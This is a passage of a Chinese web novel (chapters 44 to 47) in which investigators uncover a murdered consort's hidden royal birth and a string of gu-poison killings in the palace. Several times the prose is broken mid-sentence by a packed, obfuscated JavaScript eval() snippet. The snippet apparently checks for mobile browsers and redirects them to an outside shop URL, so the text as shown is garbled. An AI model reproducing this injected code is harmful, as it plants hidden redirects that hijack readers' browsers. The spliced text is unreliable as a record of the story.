说完,他又解释,“公主往日里最讨厌下人们来后院,因此除了服侍的时间,不常有人来。昨日更是,公主直接将来服侍的下人都赶了下去,所以这些东西是什么时候弄的,老奴也不知道啊。” “这么说,这些东西都是公主自己准备的了?” “这……老奴也不知道。”管家含含糊糊,“不过,应当是如此。” 韩清棠准备这些东西做什么? “公主和驸马是什么时候成婚的?”她问道。 “回世子妃,是在前年。” “具体时间。”南夙说道。 “六月初六。”管家低着头,“也就是昨天。” 说到这,管家突然说:“兴许,这些东西是公主准备庆祝与驸马成婚两年期到呢?” 南夙心想,那恐怕不是,这公主送给驸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248561|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马的礼物,是捅他一刀。不过既然选在这样一个日子杀了驸马,南夙就更加能确信,这事是有预谋的,公主绝不是因为脑子里的蛊而杀人,可她杀了人后,又是被何人在如此短的时间内将蛊下到脑子里了呢。 “公主与驸马感情如何?”南夙忽然开口。 管家犹豫了一会才才开口,“公主对驸马那自然是真心实意,天地可鉴。” 公主对驸马? “那驸马对公主呢?” “这……”管家又含糊起来。 南夙说道:“管家你别担心,你将实情说出来,就是给案子提供线索,是立功,不要担心有些话不敢说。不说,反而是犯了欺君之罪。” “老奴不敢!” 南夙一句话,把人吓跪倒在地上去了。 我好像也没说什么。 南夙将他扶起来,“你大胆说。” “是。”管家站起来,先是观察了一下周围,才慢慢讲道:“世子妃有所不知,这驸马啊,平日里最是厌烦公主,一年到头,不常回府几次的。” “如何见得?” “公主与驸马的婚事,是公主求来的,驸马是那年的状元,可谓是前途无量,驸马也有野心,打算在朝廷上大干一番,却在这个时候被陛下赐婚,自然是看不惯二公主的。” “赐婚对象是公主,他可有数不清的人脉与资源可以利用,他有什么看不惯的?”南夙心想,真是给他惯的。 “这……”管家不知道作何解释,只是十分肯定地说,“总之,府里的人都知道,驸马绝对是不喜欢公主的。” “那驸马在外面可有其他喜欢的女子啊。”南夙乜他一眼。 管家连忙挥手,“那可没有。” “你不是说驸马一年到头回不了几天家吗?你又是怎么知道他在外面没有养别人的呢?”南夙言语犀利。 “这……反正驸马就是不可能会做这种事。”管家语气僵硬又肯定。 南夙内心翻过一个白眼,大约猜到了什么,她问,“管家是什么时候来到这驸马府做管家的?” “自然是驸马做了驸马的时候,两年前。”管家说着有些自豪。 “那想必驸马一定很重用你咯?” “那是自然,若不是当初驸马救了我一家的命,又让我当了这驸马府的管家,老奴哪有如今的生活啊。”他不禁流出真情。 是吗? 南夙心里暗笑,表面上如此忠心,可驸马被杀,南夙到如今才见到他的面。而这人,不仅没有半分的悲伤,反而在这里炫耀自己? 只怕这人身后的主另有其人。 南夙了然,既如此,那这管家的话就听不得了。 南夙转身对他说道:“管家先去忙吧,我四处看看。” 管家突然情绪激动起来,装模作样地抹了抹眼睛,“是,世子妃慢慢看。一定要给我们家驸马爷一个公道啊。” 这悲伤是不是来得晚了点? 南夙:“……” “下去吧。”她挥挥手。 南夙走进屋内,她停在床边,掀开红帐,枕头下面露出一点穗子出来,不知道压着什么东西。她伸手抽出,是一枚玉佩,翻过来,背面刻着一个沈字。 南夙翻来覆去看了看,没看出什么结果来,只好将东西揣进了袖子里,打算晚上拿去问问沈序,他对玉应当了解一些。 梳妆台上零零散散摆着几个妆奁,南夙随意打开一个,里面空空如也。 她又走到窗边,推开窗户往外看去,窗外的地上,有几个浅浅的脚印。 44.第 44 章 男人的脚印。 南夙叫了人过来,问昨夜驸马有没有回过府,得到了否定的答案。 所以这个脚印就不会是驸马的。 “那昨夜公主可有客人?”南夙问。 下人摇头,说没有。 南夙了然,让人下去了。这里看不出什么来,南夙打算先回大理寺,等沈序和江陌拿回来,看看他们那边调查的情况再说。 他们现在手中的线索太少。 除了知晓公主与驸马是三年前的今日成的婚外,那个管家说的别的话,南夙一概不信。 她回大理寺不久,沈序便先一步回来了。 他推开门进来,自然而然地走到南夙身旁坐下。 南夙看他,“查到了?” “嗯,薛鹤之是个孤儿。”沈序说。 薛鹤之就是驸马。 沈序去了翰林院,调薛鹤之的档案,顺便看看他生前和什么人往来。 翰林院中,薛鹤之的同僚们听说他是来查案的,纷纷躲着走。只有一个年轻翰林没躲,他独身一人站在人群的边缘,远远地看着沈序。 此人必然知晓些什么,沈序想。 他走上前,自报门户,说明来意。那人说他叫林清,是薛鹤之的同乡,他们是邻居,从小一起长大的。 “鹤之是他父亲捡来的,他从前不姓薛。”他突然开口。 他们来自青州,北方一个边陲小镇,那地方远离京城,靠近北狄,早些年时常受外贼的侵扰。 青州城外五里,有座破庙,那常常是那无家可归的乞丐的遮风挡雨的蔽所,那天,却有一个男人在其中抱出来一个婴孩。 那个婴孩,就是薛鹤之。而那个男人,从那天起,就成了薛鹤之的父亲,他叫作薛邝。 据薛邝说,他出门采药回来时突遇大雪,进庙躲避,忽见庙中有一人行为鬼祟,他正欲上前查看,那人却从突然庙后门跑了,只留下一个婴孩在原地。薛邝看了那婴孩许久,在包着他的被子中翻出了一块玉佩,上面刻着一个杨字。 后来薛邝将孩子抱回了家,按照玉佩上的字,给他取名为杨鹤之。 。“他以前叫做杨鹤之。”林清有些悲哀的说。 杨鹤之长大后曾问过薛邝,“为什么爹姓薛,而我却姓杨?难道我是随母亲姓的吗?” 薛邝没有瞒着他,直接将他的身世告诉了他,“你不是我亲生的,自然不跟我姓。” 杨鹤之从那时起就时常来到那所破庙,站在父亲捡到他的地方,想了很久。 那个人是谁? 是我的亲生父亲吗?他为什么会将我扔在这里呢? 可没有人能够回答他,只有风从破庙那四处漏风的窗户中灌进来,呜呜地响,像有人在哭。 薛邝住在青州城东,一条偏僻的小巷里,三间瓦房,一口井,一个不大的院子。院子里种满了植物,那东西长势惊人,一到生长期,常常连下脚的地方都没有,但种的却不是什么花,是草。各种草,高的矮的,青的黄的,有的开花,有的不开。 薛邝是个大夫,因此邻里都认识他,林清就是一次上门看诊时认识杨鹤之的,自那次相识后,二人一见如故,从此一直相伴,直到来到京城,也没有谁放弃谁。 杨鹤之是抱来的这件事,薛邝谁也没瞒着,巷子里的人都知道,不少人都说他不应该告诉杨鹤之不是亲生这事,不然孩子啊,一心只想着找亲生父母了。 薛邝却不赞同这说法,就算是杨鹤之真的想找他的亲生父母,他也不会阻止,若是能认祖归宗,那也是好的。 但杨鹤之虽时常想着是谁抛弃了自己,却从没想过要离开薛邝。他以后定是要回报父亲的。 只是可惜,他这愿终究没有实现。 青州城最宽的那条街上有个学堂,是青州唯一的学堂。三进院子,几十间屋子,能装下几百个学生。能进这里的,都是家里砸锅卖铁供出来的。 薛邝虽不富足,这些年靠着行医也赚了些钱,便将这钱都投进了杨鹤之求学的路,可这书啊,不是寒门读得起的,没几年,他们家里也就清贫了下来。 薛邝为了多赚钱补足家用,常常一年半载不回家。他们都说他找了个来钱快的活——做镖师。 镖师上路,生死难料。 薛邝早些年习过些武,靠着一身本领活了下来,赚的钱供杨鹤之考上了举人。 直到有一天,薛邝突然死了。 他死前,有一日突然将杨鹤之送到林清家,以家中有要事为由,求林清父母留杨鹤之几天。杨鹤之直觉薛邝有所隐瞒,像跟上去问清楚,却被薛邝一掌打晕,送进了房间里,杨鹤之这一晕就是三天,薛邝给他下了药。 他是大夫,最会的就是用药。 杨鹤之再醒来时,薛邝已经死了,是在押运货物的路上遇到山匪,被山匪杀死的。青州远离京城,山匪是常有的,这个理由很是充分,可杨鹤之不信,加上薛邝前些日子的反常,他知晓这其中一定有隐情。 果不其然,被林清父母强留了半个月之后,杨鹤之再回家中,翻到了薛邝藏在柜子深处的一个箱子。 里面放了薛邝所有的家当,一枚刻了“杨”字的玉佩,以及,一封留给杨鹤之的信。 杨鹤之从那时才知道,自己的杨姓是从何处来的,他只知道自己并非薛邝所生,但一直以为杨姓是薛邝随意诌来的,没想到竟有此出处。 杨鹤之抖着手打开那封信,开头写着两个字:吾儿。 他立刻落下泪来,接着,泪水像泄了洪一般止不住,杨鹤之坐在没有父亲的房间里抱着那封信坐了一整夜,脑中闪过一个念头,从此他便踏上那天路,再没有回头。 他甚至没见到父亲的尸体,他就被葬了。 薛邝那日不知向林清的父母交代了什么,那半个月,杨鹤之没有被准许出门。他尝试过闯出去,被林清拦下,告诉他他父亲有自己的打算,若是他现在出去,一切就会功亏一篑,他父亲的死也就毫无意义。 于是理智占领了上风,杨鹤之守着日子,度过了他人生中最痛苦又不堪的半个月。 那段时间,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254457|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州还发生了一件事,城边一户人家的儿子人突然不见了,半个月都没找回来,父母亲人都已经没了希望,办了葬礼,那孩子当时,十八岁。 与此同时,城外多了一座墓,那墓上的名字是:杨鹤之。 杨鹤之将信与玉佩藏进了自己的包袱里,出了门,又去了城外那家丢了儿子的人家,将箱子中的财物偷偷放在那家人的门口,敲了门后便跑开躲在了一边,直到看见那户人家的主人出了门,拿上东西进了屋,他才离开。 后来,他又去城外看了那个杨鹤之的墓,想到:杨鹤之从今天开始便真正的死了。 因为父亲信中留的话。 父亲留给他的信很短,只有短短几句话: “鹤之,从今日起,你便不再叫杨鹤之,改为薛鹤之,爹已经找人将你的户改了。以后,带着新的身份去好好的生活,不要去想爹做了什么,遇到了什么,尽管去活你自己的。” 信的末尾,还有一段话:“爹知晓你爱读书,但你记住,别走仕途,别考科举,也别进京城。爹爱你。” 父亲从未说过爱自己这种话,他的爱都藏在行动里,杨鹤之没想到最后,会在父亲的诀别信上看到这三个字。 父亲嘱咐他别进京城,可他却在那一刻下定决心,入京城,因为他直觉,父亲的死一定与京城有关系。 入京城的方法很多,可想要权利,能查清父亲的死的方法,只有一种——科举。 于是他将父亲的话抛到一边,毅然决然地走上了科举这条路。 那年,他十八岁。 三年后,他入殿堂,夺下状元,终于在这京城有了一席之地,但很快他就发现,他这个出身寒门的状元,在这吃人不吐骨头的京城中,照样是任人拿捏的蝼蚁。 他想,一定要在京城为寒门学子们谋个出路。 就在这时,有一个人找上了门,那人就是二公主韩清棠。 她闯进薛鹤之的院子,说要与他合作一件事。 “什么事?”沈序问。 “她让鹤之娶她。”林清道。 “目的呢?”沈序问。 “鹤之告诉我,二公主说她想要自由,而鹤之刚好想要权势,凭借二公主的身份他可以拿到很多人脉。他们约定,三年后和离。” “所以他就答应了?” 林清闭上眼睛,缓缓点了头。 “他想做什么?”沈序问。 林清睁开眼睛,抬起眼眸看向沈序,沈序感觉他的眼中像是在冒火。 “入中枢。”他一字一句。 “借公主之势入中枢,他倒是野心勃勃。”沈序点评。 “那……他想查的事查清楚了吗?”沈序突然问道。 他看到听见这句话的林清瞳孔突然在眼中颤抖起来,没有抬头看自己。沈序也没有催他,自顾自地给自己倒了杯茶,又往林清空了的杯子里添了点。 好半晌,林清才深呼吸一口气,抬眼看着沈序,他像是做了什么决定,缓缓吐出几个字。 “鹤之是皇室。” 45.第 45 章 “皇室?什么意思?” 一个震惊的声音在屋中响起,江陌瞪大眼睛,一脸不可置信地盯着沈序。 他们二人在沈序说了一半时突然闯进来,听了一半关于驸马薛鹤之的事。 听到这句话时爆发出了惊人的动静。 南夙被他震得耳朵发麻。 她一直想不明白,当初见到江陌第一眼的时候,她到底是从哪个地方看出江陌是个高冷冰山的。 明明叶燃才是好不好。 这俩的外表还真是与他们的性格相隔万里。 “那驸马与公主岂不是血亲!”他接着吼出一句。 “啪”,叶燃给了他后脑勺一巴掌,“那我们刚刚去查的是什么?” “嗷,对对对,二公主果然像夫人猜的那样,不是皇后亲生的,所以驸马和公主没有血缘关系。” “啪”叶燃又给了他一巴掌,“先等主上说完,你激动什么?” “抱歉。”江陌连连点头,朝外伸出一只手,“主上请。” 南夙看得好笑,“哈哈哈。” 她笑得前仰后合,一只手不停地拍在沈序放在桌上的一只手上,另一只手指着江陌和叶燃,“一会你给他打傻了。” 沈序看着她的笑容,也不自禁地低头轻笑。 “好了,停。” 笑了没一会儿,南夙突然两手张开示意停下,她说停就停,笑容立马消失,一本正经地转头看着沈序。 “阿序继续说。” 阿序? 沈序怔在原地,被南夙这一声喊得像失了神一样。 南夙凑到他跟前,在他面前晃了许久的手他才回过神来。 “怎么了?”他像是突然醒来,意识还没全清醒一样。 南夙疑惑地看着他,“不是说继续说驸马的事吗?你怎么发呆了?” “哦。”沈序一本正经,“方才想到了些事情。” 说完,还没等别人问他在想什么,他就此地无银三百两地解释起来,“不是什么大事,就是想到一些关于薛鹤之的事。” “哦。”南夙几人一脸原来如此地点点头,“那你接着说。” “我问林清‘薛鹤之是皇室’这句话是什么意思。”沈序说。 这句话沈序自然是听得懂的,他想问的是,薛鹤之如何知道自己是皇室的呢。 “鹤之入翰林院后,就一直在查一件事。”林清却没直接回答,而是从别的事引入。 沈序接道:“他父亲的事?” 林清点头,“是。” “那时我们刚入翰林院,鹤之还不像现在这般,一心只想要权利,他来京城的初衷,不过是想查明真相,让父亲沉冤得雪。” “薛鹤之是皇后的儿子?”沈序突然发问。 林清纳罕,睁大眼睛看他,像是没想到他能猜到,更没想到他会直接说出来。 “你怎么知道?” 沈序摇头,“我是怎么知道的你不用知道。” 他只是突然想起韩清棠在牢房里喊的那声“娘”,加上宫里那桩没人敢提的旧事,自然就往这上面猜了。 二十三年前,那时沈序还没出生,这事也是他无意间在街谈巷议中听到的。那年皇宫发生了一件事,皇后有孕,太医院的大夫前来看脉时,都推测这一胎会是男孩。皇后怀胎至八月,身体一直无恙,谁料有一日,皇后的寝殿突然走水,皇后被立即转移到别的地方,谁料还没有到地方,突然早产。为了保住孩子,皇后下令,在最近的屋子里生产。 那一夜,皇后生了个女孩。 可有一件奇怪的事。 孩子出生后,皇后因为剧烈的疼痛与脱力晕死过去,再醒来时,孩子被放在自己的枕边。 接生婆看她醒了,告诉她生的是个女儿。 皇后不在意是男孩还是女孩,她只知道,这是她的孩子。 她虚弱地抬起手,在枕边摸着自己打算给孩子的玉佩,却发现东西只剩了一块。那是她母亲留给她的东西,是父亲迎娶母亲时送予母亲的,母亲死时留给了自己,后来父亲将自己那块也给了自己,说留给以后的孙儿。没成想,孩子才出生啊玉佩已不在了一块。 皇后当下便着了急,下令翻遍整个后宫也要将玉佩找出来,但最终还是无果。 皇后将剩下的那枚玉佩放进了女儿的被褥里,愿她常安。 而非常凑巧的是,皇后姓杨。 “因为那枚玉佩?”沈序见他不说话,主动开了口。 “是。”林清知道自己现在也不得不说了。 薛鹤之进京后,一直将那枚玉佩随身带着。 那日,他与同僚们一道受诏进宫,路过一面宫墙时,他发现上面挂着的一幅字的右下角落款处有一个印章,上面是一个字——“杨”。 许是冠了这姓十八年,他对此便上了心。 从那之后,每每路过这面墙时,他都会下意识往那幅字上看,次数多了,也就被人注意到了。一次,一个同僚拍了他的肩。 薛鹤之转过身,那人问:“我看鹤之兄每次路过这里都会往这幅字上看,莫非是这幅字有什么过人之处?” “只是好奇这落款是谁而已。”薛鹤之诚实说道。 那人摆摆手,俯身看了下那落款的印章,直起身来,说:“杨姓,看这私印,应当是皇后娘娘的落款。” 薛鹤之抿嘴一笑,“是吗?” 他开始对这位皇后感兴趣起来。 直到有一次,他终于有了机会见到皇后。 皇后娘娘果然像他所想那般,温婉和煦。她从不无故责罚下人,就算下人犯了错,也只是小惩大诫,说话做事有道,当得起母仪天下的身份,受得住万人敬仰。 薛鹤之仍然在查当年父亲被杀一事。 可是当时他被锁在家中半月,出来时父亲已经下葬,只给自己留下了那封信。 他手中唯一的线索,就是那枚玉佩。 于是他决定从这枚玉佩下手。 他先是拿着玉佩找了京城中有名的鉴玉人,想问问他知不知晓这玉来自何处。可惜,他只得到一个否定的答案。 但薛鹤之并没有放弃,他拿着玉佩去了许多地方,见了许多人,却都只得到对方的否定。 就在薛鹤之以为无路可走之时,一日,他在回家的路上发现有人跟着自己,他敏锐地转身,却没有发现人。 他以为是自己想多了。 直到他发现自己的住处被人翻过,他装着父亲留下的信的箱子也被人动了。 他其实也知晓留着这封信可能会给自己惹来杀身之祸,可是他不愿烧了毁了,因为这是父亲留给他唯一的东西了。 但他没想到,就是这封信让他知晓了所有真相。 那人在一个意想不到的日子光明正大地闯到他的屋中,见到他的第一眼,说的是,“你居然没死?” 薛鹤之以为面前的人就是当年杀了父亲的人,恶狠狠地盯着他,语气十分愤怒,“没看着你们死,我又怎会先死?” 那人自然也意识到薛鹤之对自己误解,解释道:“你对我怀有那么大的敌意,可知道当年若不是我,你早就死了。” “你说什么?”薛鹤之皱着眉。 那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王秋生抬眼看一眼他,像是听到什么好笑的话一样,他嗤笑一声,“还能做什么?自然是杀了。” “杀了我?”薛鹤之愣道。 王秋生缓缓点头。 “那我为什么没死?” “自然是我救了你。” “为什么救我?”薛鹤之嗓子里挤出话来。 “这是命。”王秋生没有直接说原因,却说了句莫测的话,他看了薛鹤之的脸一眼,像是试图在他脸上看出另一个人的影子来。 他说:“二十多年前,皇后娘娘救了我一命,从那时起,我便欠着皇后娘娘一条命。几年后,我将这命还给了你。” “还给了我。”薛鹤之呢喃着,却像陷进了什么梦魇中般,嘴唇翕合,“那我,究竟是谁?” 不知道是在问谁。 “你是皇后的儿子。”王秋生残忍地给他判了刑。 所以,父亲真的是因为自己死的,他是为了保护我才会死。 自看过父亲留下的信的那一日,薛鹤之就再也没哭过了,可是此时,他只觉得自己的眼窝那么浅,装不下对父亲的思念与愧疚。于是那思念与愧疚便溢出来了。 他咬着牙,强迫自己的声音不发抖,“谁杀了他?” 王秋生见他状态如此,犹豫着要不要告诉他,他先是劝道:“你若是想报仇,便一定要认祖归宗,可认祖归宗这条路,也不是好走的。” 薛鹤之双眼通红,仇恨在眼中游荡,最后化成一句“就算是死,我也要带着他们一起死。” “告诉我,是谁。” 46.第 46 章 “你若是想知道亲手杀了你爹的人是谁,那便不必多此一举,那人早被灭了口,但你若是想知道这幕后之人,我告诉你,你得有个心理准备。” “他是谁?”薛鹤之已经听不进去王秋生的任何话,一心只想要知道真相。 “那人,是淑妃。”他停顿片刻,像是在等薛鹤之的反应,见他没有太大的波动,才又继续说道,“还有,你的舅舅。” “薛鹤之的舅舅?”南夙在脑中翻阅着皇后的家族谱,“那不就是皇后的哥哥?翰林院的侍讲学士?” “是。”沈序点头。 “他为何想杀了自己的亲侄子?”叶燃的脸上终于浮现出一丝疑惑。 薛鹤之与叶燃问了样的问题:“我的……舅舅?” 他想起来那个因为见了自己喜欢杨皇后的字画后就总爱跟自己讲有关皇后的事的同僚,又想起了他曾说过的话。 皇后的哥哥,与他们同在翰林院当值,他是翰林院侍讲学士——杨清源。 “他为何要杀我?”淑妃想要杀他他能够理解,无非是为了争宠与权力,可是他的舅舅,又是为什么呢? 王秋生娓娓道来,将皇后与杨家那段不堪的往事翻开,一一展示在学鹤之面前。 所有事情薛鹤之听下来只得出一个结论,皇后曾经因为不愿入宫而与家人大吵一架,后来如家族期望进了宫,当上了皇后,可心中有怨,不愿依靠身份提携娘家一脉,因此杨家人多有怨恨。 就仅仅是如此?就能够让他对自己的亲外 甥痛下杀手吗? 薛鹤之觉得事情没那么简单。 果然,王秋生告诉他。因为自己的姐姐没能给自己谋个好官职,杨清源只能自己去寻出路。 他的出路,就是私通淑妃,再让淑妃从中作梗,让自己进了这翰林院。 偷换他人答卷,抢夺他人进院名额,私通妃子,谋害皇嗣,这一条条数下来,不知够让他死多少次。 “就因为这些,所以他就要杀了我?”薛鹤之嘴角挂着一丝嘲讽的笑。 “就这些,足够啦。”王秋生望着他摇摇头,“人嘛,活着无非就为了三件事,钱是一个,这是谁都躲不掉的;权是一个,欲是最后一个。这三样东西南,但凡沾了一样,那欲望就会不断地增大,想要所有的利都进到自己口袋里。到了最后,权力与家人的你又会如何选择呢?” 薛鹤之想,如果父亲还在,他会毫不犹豫地说,他选择父亲。 只可惜,天不遂人愿。 他也知晓王秋生的话是有道理的,可一想到父亲的死。就觉得心里透不过来气。一口气就在他嗓子那里吊着,上不去也下不来,叫他难以自拔地陷进父亲离开的那个夏季的大雨里。 “那后来,他们又是怎么发现我的?”薛鹤之又问。 王秋生听到这个问题,眼神有些不自在地转了几下,许久才缓缓开口,听得出他语气中的后悔与愧疚:“这件事怪我,我这人啊,就爱喝点酒。每每拿了俸禄的第一件事,就是买酒吃。那日,我像往常一样,拿了俸禄遛出宫买了酒,就坐在那酒摊上,喝了个酩酊大醉。回去时遇到了与我一同在淑妃身边服侍的一个小厮,他见我喝得大醉,连路都走不动了,就扶着我进了我的房间。这件事在我心中藏了十几年,那一夜不知道怎么回事,我突然就想到这事,便说了出去。” “后来清醒后,我也意识到自己干了一件什么混账事,立刻就找那人,想嘱咐他别说出去,可是我正准备找他的时候,突然一位好友急冲冲撞进了我的房间,告诉我淑妃已经知道了我做的事,让我赶紧跑。我立刻就意识到那人已经将这事说了出去,为了保命,我只好跑出宫躲了一段时间,直到外面没什么动静了,我才敢出来。” “没想到……”他抬眼看一眼薛鹤之,“刚进了京城便见到了你腰间那枚玉佩。见到你人在这里,我就知道,你爹多半是凶多吉少,否则你不会出现在京城。” 原来是因为玉佩才认出来的。 薛鹤之低头看了一眼腰间挂的那玉佩,他垂眸看了许久,突然一用力,将那玉佩扯了下来,狠狠摔在了地上,玉佩被摔得一分为二。 天道果真好轮回,王秋生说,皇后救了他一命,因此他还自己一命,可他还给自己的命,却要拿父亲的命来偿还,早知如此,他宁愿自己当时没有活下来。 王秋生被他动作一惊,“你这是做什么?” 他忙蹲下身将玉佩捡起来,捧在手里,“这可是证明你身份的东西,怎可!” “我不要这身份!”薛鹤之大喊道,“我不要这身份,我只要他们死,他们所有人死!” 他眼尾猩红,戾气自身间传来,叫人害怕。 “我从未见过那样的鹤之。”林清垂下眼眸,眼中的晦暗没让沈序看见。 “他那日,像被什么邪祟上了身,摔了屋中所有的东西,他是如此的愤怒。可我却相信他说的那些都是真的,于是我决定,要帮他。” “可是,淑妃与杨清源一个都没死。”沈序眼神直直地望着他,像是要穿透他那双眼睛,看透他内心所想一般。 林清却只是回望过来,看着他笑。 沈序立刻意识到了不对,他质问道:“你们做了什么?” 林清勾起嘴角,“你们只需要将淑妃与杨清源的棺材准备好,就足够了。” 说完这句话后,林清忽然站起了身,他走到门前,拉开了门,对着屋内的沈序下了逐客令,“茶凉了,恕不远送。” 沈序知晓,林清这里他已经问不出什么来,他方才能听到这些,也是因为林清想说而已。 他走到门前,却在即将迈出屋子时停下脚步,他扭头看向林清,“薛鹤之做这些是为了报仇,你呢?你又是为了什么?” 说完,他没等林清说话便提步走出去,直到快走出林清说话可听见的范围,才听见来自身后那小声的呢喃。 “因为……他。” 他是谁? 沈序不在意这些,他不再停留,加快步子出了翰林院。 “他说让你给淑妃和林清源准备好棺材,这是什么意思?”南夙疑惑,“薛鹤之已经死了,难道他们还有别的方法杀了这两人吗?” “这不太可能吧。”江陌说道,“除非他能有像夫人一样的手段,能神不知鬼不觉将人杀了。” “蛊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263701|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南夙猛地转头,与刚好转头的沈序对上视。 “恐怕还真让你说对了。”南夙与沈序几乎同时起身,提步就往外走去。 叶燃也立刻反应过来他们的意思,但没跟着一起出去。 看来大理寺马上又要有客了,他还是让人准备着吧。 就是这仵作年纪大了,不知道身体还受不受得住。 江陌还在原地坐着,突然意识到刚才自己那句话究竟是如何点醒了在座的几位的。他“唰”一下站起身来,一把抓住叶燃的胳膊,“不会真是我想的那样吧。” 叶燃乜他一眼,没说话。 江陌心领神会,又疑惑道:“可是,驸马怎么会有蛊呢?他来自青州又不是来自灵诏。” 叶燃见怪不怪地答道:“有什么大惊小怪的,你好好想想,自从夫人来了京城之后,这京城发生的事,有几件是与灵诏蛊术无关的?” 江陌仔细一想,还真是。 他们去杭州查贪饷,幕后之人的武器是蛊。二皇妃也是灵诏人,并且用蛊害死了一个无辜的女子。眼下突然出现了一个流落在外多年的皇子,他杀人的方式还是蛊。 这京城俨然成了灵诏的蛊的天下了。 但这句话江陌没敢说。 “所以按照主上所说,二公主就是当年与驸马,也就是真正的皇子调换的孩子。”江陌将两件事给结合起来分析。 叶燃点头:“嗯。” “不过,我有一件事很好奇。”他接着说道。 江陌问:“什么事?” “驸马知道这些事是在公主上门找他谈合作之前,他既然知晓自己的身份,也知道二公主就是当年替换了他的身份的人,他为什么还会答应二公主和她合作呢?” 江陌想了一下,说出一种他自己都觉得不太靠谱的话:“刚才主上不是说,林清告诉他驸马是为了借公主的身份入中枢吗?” “你信吗?”叶燃看着他,“他若是想入中枢,最好的办法难道不是认祖归宗吗?就算真如那个王秋生所说,认祖归宗这条路不好走,那也比靠公主上位来得轻松。” 沈序与南夙赶到皇宫时,宫内已经传来了淑妃薨了的消息。 南夙停下步子,沈序也跟着她慢下步子来,他转身面向南夙,两人对视两秒。 然后,俩人同时摊开手到两边耸了耸肩,南夙还歪了歪嘴,一脸:看吧,不是我不想救,是她不争气的表情。 沈序被他的表情逗笑,收回手来刮了一下他的鼻尖,“好了,人都死了,先去见见陛下。” 南夙点点头,跟上他的脚步。忽然她往前跳了一步,搂住沈序的肩膀,将他拉到自己这边,凑近他的耳朵问:“你想救她们吗?” 沈序也凑过来,耳语道:“不想。” 南夙觉得耳朵痒痒的,不太自在,又因为沈序与自己的默契感到高兴,她调皮地向沈序眨了下眼睛,“有默契。” “走吧。”她往前跳了几步,朝沈序挥挥手示意他跟上,“让我们去看看这位淑妃究竟是怎么死的。” “反正。”她停顿下来,闭上眼睛感受圣蛊在体内活跃着,随后睁开眼睛,“她一定死于蛊。” 47.第 47 章 虽然早知晓薛鹤之不会让淑妃等人死得太好看,但刚一见到淑妃尸体的惨状时,南夙的瞳孔还是没忍住放大。 淑妃已经不能算是个人了。 因为她已经失去了人的形状与画皮,没有了骨头,像一滩肉泥一样躺在榻上。 没有人敢去碰她。 南夙走进屋时,正见到一个宫女捂着嘴巴跑出门去,像是见到了什么骇人的东西一样。 确实挺骇人的。 沈序暗道。 南夙蹙着眉,只瞥了榻上的那人一眼,便看出了杀死她的蛊是什么。 “化骨。”她呢喃着。 声量很小,只有站在他旁边的沈序听见。 沈序看了一下南夙的表情,知晓这蛊一定不是普通的蛊,但他没在这里问,而是走向塌边,问站在那的仵作:“距离淑妃娘娘薨了有几时了?” 那仵作看见来人,忙俯身下跪,“回世子,已有一炷香的时辰了。” “可有查出死因?”他装作无知地问道。 那仵作眉头紧皱,眉间的皱纹仿佛在宣示着他以已医多年,他摇摇头,“臣无能,查不出淑妃娘娘的死因。” 沈序悄然回头看了一眼南夙。 “无碍,起来吧。”他说道,又转头问一旁宫女,“可有禀报陛下?” 宫女低着头,“已经派人禀告过了。” “陛下怎么说?” “陛下说……交由世子全权处理。”宫女道。 沈序了然般点点头。 南夙此时也走上前来,接过话头,问那宫女:“你是淑妃娘娘的贴身丫鬟?” “回世子妃,是的。” “将淑妃娘娘这两日的行踪告知我。”南夙道。 宫女抬眼看了她一眼,像是没懂为什么要知道淑妃娘娘的行踪。 南夙读懂了她眼中的疑惑,却没有告诉他们淑妃是中蛊而死,而是随意诌了个借口,“淑妃娘娘的症状,是中毒的表现,我需要知道她这几日去了哪里,见过什么人,有没有吃过什么奇怪的东西。” “明白吗?”她乜了一眼宫女。 宫女点点头,似懂非懂,“只看一眼,就能看出是中毒吗?” “有一种毒药,就是有化骨之威力,你若是不信我,可以问一下仵作。”南夙冲仵作的方向扬了下下巴。 仵作一听点到了自己,连连点头,“确实有一种药有此种威力,但……” “看吧,我没骗你吧。”南夙突然开口。 ……臣并没有在淑妃娘娘体内发现此种毒药的痕迹。 仵作后面的话被她打断,他心领神会地闭了嘴,没有继续说下去。 